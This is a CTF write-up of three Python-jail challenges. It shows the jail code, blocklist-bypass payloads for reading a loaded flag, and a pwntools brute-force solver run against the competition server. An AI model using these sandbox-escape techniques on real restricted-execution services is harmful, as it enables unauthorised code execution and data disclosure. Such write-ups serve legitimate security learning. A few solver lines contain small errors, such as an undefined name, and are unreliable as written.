# Writeups for Censorship, Censorship Lite, & Censorship Lite++ ## Censorship This series of challenge is about python jail and the target of this jail is to read the flag, we may get shell but i just think that would be overkill since flag was loaded in the program. Let's start with the first one `Censorship` ```python #!/usr/local/bin/python from flag import flag for _ in [flag]: while True: try: code = ascii(input("Give code: ")) if "flag" in code or "e" in code or "t" in code or "\\" in code: raise ValueError("invalid input") exec(eval(code)) except Exception as err: print(err) ``` Looking at the code we can see they block everything that contain `flag`, `e`, `t`, and `\`, and they convert all the input into ascii, which mean when we input unicode character it will be converted to something like `\u1337`, and since it has `\` in it we'll get `ValueError`. But notice that the error that we get from `exec(eval(code))` will be printed out, at first i didn't notice this and trying different way to read the flag, and since the flag was also loaded to `_` we can get flag from reading `_`. Obviously there're lot solution to this, but my solution is to call `globals()` since the `_` variable was on global scope, but calling `globals()` wasn't enough, the code wasn't printing out output of the `globals()`. ```python Python 3.11.3 (main, Jun 5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux Type "help", "copyright", "credits" or "license" for more information. >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>} ``` ```sh ✦8 ❯ python Censorship.py Give code: globals() Give code: ``` but `_` was in `globals()` so by doing `globals()[_]` we'll get the flag. ```sh ✦8 ❯ nc amt.rs 31670 Give code: globals()[_] 'amateursCTF{i_l0v3_overwr1t1nG_functions..:D}' Give code: ``` As i said earlier there're lot of solutions for this one, we can do `locals()[_]`, `vars()[_]`, `{}[_]` (from @skuuk), `(1).__class__(_)` (from @mightyzanark) or even overwrite `ascii` function so we could type unicode without getting blocked, and many more. ## Censorship Lite Second chall of the series, let's see what they block this time. ```python #!/usr/local/bin/python from flag import flag for _ in [flag]: while True: try: code = ascii(input("Give code: ")) if any([i in code for i in "\lite0123456789"]): raise ValueError("invalid input") exec(eval(code)) except Exception as err: print(err) ``` now the blocklist is `\lite0123456789`, if we want to check what function that not contains those chars we can fuzz with this. ```python print("----\'\'.__dir__()---") for code in "".__dir__(): if not any([i in code for i in "\lite0123456789"]): print(code) print("-----builtins------") for code in dir(__builtins__): if not any([i in code for i in "\lite0123456789"]): print(code) ``` Output : ```sh ✦8 ❯ python fuzz.py ----''.__dir__()--- __hash__ __mod__ __rmod__ __add__ __doc__ -----builtins------ EOFError IOError LookupError OSError TabError __doc__ abs any chr hash map max ord pow round sum vars ``` see vars wasn't get blocked, so `vars()[_]` still work and so for some other solutions. But let's try another idea on how we get the flag, in the code they use any function to check if there's blocked char in our input, so we could overwrite `any` functions. ```python if any([i in code for i in "\lite0123456789"]): ``` Just imagine if we could overwrite it with `all` we could type whatever we want (but don't type those all blocked chars because it will triggert if condition), or `min` so when `min([True, False, True])` will return `False`, but those functions sadly get blocked, but let's see what we got from the result of fuzzing function earlier, there's one function that could satisfy us, which is `''.__mod__`, me personally doesn't know what function this for so let's try it out. ```python Python 3.11.3 (main, Jun 5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux Type "help", "copyright", "credits" or "license" for more information. >>> ''.__mod__([True,False,True,False]) '' ``` it return `''` (empty string) ```python >>> if '': ... print('yes') ... >>> if 'a': ... print('yes') ... yes ``` if we check on if statement the condition won't satisfy, so it's like `False` boolean so let's get the flag!. ```sh ✦8 ❯ nc amt.rs 31671 Give code: any=''.__mod__ Give code: print(_) amateursCTF{sh0uld'v3_r3strict3D_p4r3nTh3ticaLs_1nst3aD} ``` ## Censorship Lite++ Disclaimer on this one!!, i did not solved it during the ctf, i have some idea including brute the flag, but all got stucked because of the restriction (blocklist), but it really brute the flag is the intended way and the only way, the thing is digit is blocked so the trick is by using boolean, after reading some of the solver i understand how to solve this last challenge of the series, but first let's see the program. ```python #!/usr/local/bin/python from flag import flag for _ in [flag]: while True: try: code = ascii(input("Give code: ")) print(code) if any([i in code for i in "lite0123456789 :< :( ): :{ }: :*\ ,-."]): print("invalid input") continue print(__doc__) exec(eval(code)) except Exception as err: print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz") ``` Error based payload won't work because error doesn't printed out instead you'll get `zzzzz..`, we can't also use `()` and our trick from earlier which is overwriting `any` with `''.__mod__` doesn't work because `.` get blocked, and so let's get to the intended way BRUTE THE FLAG. ### More on Boolean We may know that 0 is `False` and 1 is `True`. ```python Python 3.11.3 (main, Jun 5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux Type "help", "copyright", "credits" or "license" for more information. >>> 0 == False True >>> 1 == True True >>> '' == False False >>> 'a' == True False ``` but empty string which we use earlier it's not a boolean, and @driikolu said this on the CTF server. ``` Driikolu — Today at 8:25 AM bool is a subclass of int to be precise 🙂 ``` let's test it out ```python Python 3.11.3 (main, Jun 5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux Type "help", "copyright", "credits" or "license" for more information. >>> # Check the type of True and False >>> print(type(True)) <class 'bool'> >>> print(type(False)) <class 'bool'> >>> # Check if bool is a subclass of int >>> print(issubclass(bool, int)) True >>> # Check the value of True and False >>> print(int(True)) 1 >>> print(int(False)) 0 >>> # Perform arithmetic operations with bool and int >>> a = True + 5 >>> b = False - 3 >>> print(a) 6 >>> print(b) -3 >>> True+True 2 >>> False+True+True 2 ``` so knowing this we'll do the trick to make bool act like integer, and do some indexing with it since `[]` not get blocked, we'll brute all `string.ascii_leters` + `_{}` but since some of the chars were get blocked there's another trick we have to do. ### Python Format String We know we can do format string in python, but lot of tutorial on the internet just tell us that python format string is something like `f'x : {x}'` or `'x = {}'.format(x)` but there's one more on how we do format string on python using `%` let's have an example. ```python Python 3.11.3 (main, Jun 5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux Type "help", "copyright", "credits" or "license" for more information. >>> x = 1337 >>> f'x = {x}' 'x = 1337' >>> 'x = {}'.format(x) 'x = 1337' >>> 'x = %d' % x 'x = 1337' ``` That's looks like format string in c but bit different, with that we could change integer to char with `%c`, `%c` will treat provided variable into chars and we know char in ascii table reprsented by integer we could check it with `ord()`, basically `%c` is simillar to `chr()`. ```python Python 3.11.3 (main, Jun 5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux Type "help", "copyright", "credits" or "license" for more information. >>> ord('c') 99 >>> chr(99) 'c' >>> '%c' % 99 'c' ``` But digits are blocked right, so where we get int from, the answer is bytes. ### Int from bytes Based on this [Iterating over "bytes" - Python Wiki](https://wiki.python.org/moin/BytesStr#Iterating_over_.22bytes.22), we could get int from bytes by iterating it, indexing the bytes should also works. ```python Python 3.11.3 (main, Jun 5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux Type "help", "copyright", "credits" or "license" for more information. >>> type(b'a') <class 'bytes'> >>> type(b'a'[0]) <class 'int'> ``` Compiling all those tricks, we'll get the payload to BRUTE THE FLAG. ### Putting all together First we have to define some variable that we're gonna use for bruteforcing ```python b=''=='';s='a'=='b';arr='x';IDX=s" ``` first payload defining b = `True` / 1, s = `False` / 0, my final solver: ```python from pwn import * from string import ascii_letters context.update( terminal='kitty', log_level='info' ) send = lambda msg: p.sendlineafter(b'Give code: ', msg) sendc = lambda msg: p.sendline(msg) get = lambda : p.recvuntil(b'Give code: ', drop=True) p = remote('amt.rs', 31672) # p = process(['python', 'lite++Censorship.py']) # set some variable send(b"b=''=='';s=''!='';arr='x';IDX=s") # b = True / 1, s = False / 0, arr = array for checking, IDX = index set 0 send(br"L=b'L'[s]+b'!'[s]+~s;L='%c'%L") send(br"I=b'I'[s]+b'!'[s]+~s;I='%c'%I") send(br"T=b'T'[s]+b'!'[s]+~s;T='%c'%T") send(br"E=b'E'[s]+b'!'[s]+~s;E='%c'%E") send(br"CL=b'|'[s]+~s;CL='%c'%CL") send(br"CR=b'|'[s]+on;CR='%c'%CR") flag = '' while not flag.endswith("}"): for c in ascii_letters + '_{}': payload = b"arr[_[IDX]==" if c in r"lite{}": sp = c if c == "{": sp = "CL" elif c == "}": sp = "CR" payload += sp.upper().encode("utf-8") + b"]" else: payload += b"'" + c.encode("utf-8") + b"']" get() sendc(payload) if b'zzzz' in get(): sendc(b'IDX+=b') flag += c info(f'Flag : {flag}') break sendc(b'') p.close() ``` NOTE : this solver was hardly inspired by @mightyzanark, so thanks to him i was able to understand and finish this pyjail series FLAG : `amateursCTF{le_elite_little_tiles_let_le_light_light_le_flag_til_the_light_tiled_le_elitist_level}` I post all the file in my github repo : [CTF-Writeups](https://github.com/UnoArroefy/CTF-Writeups)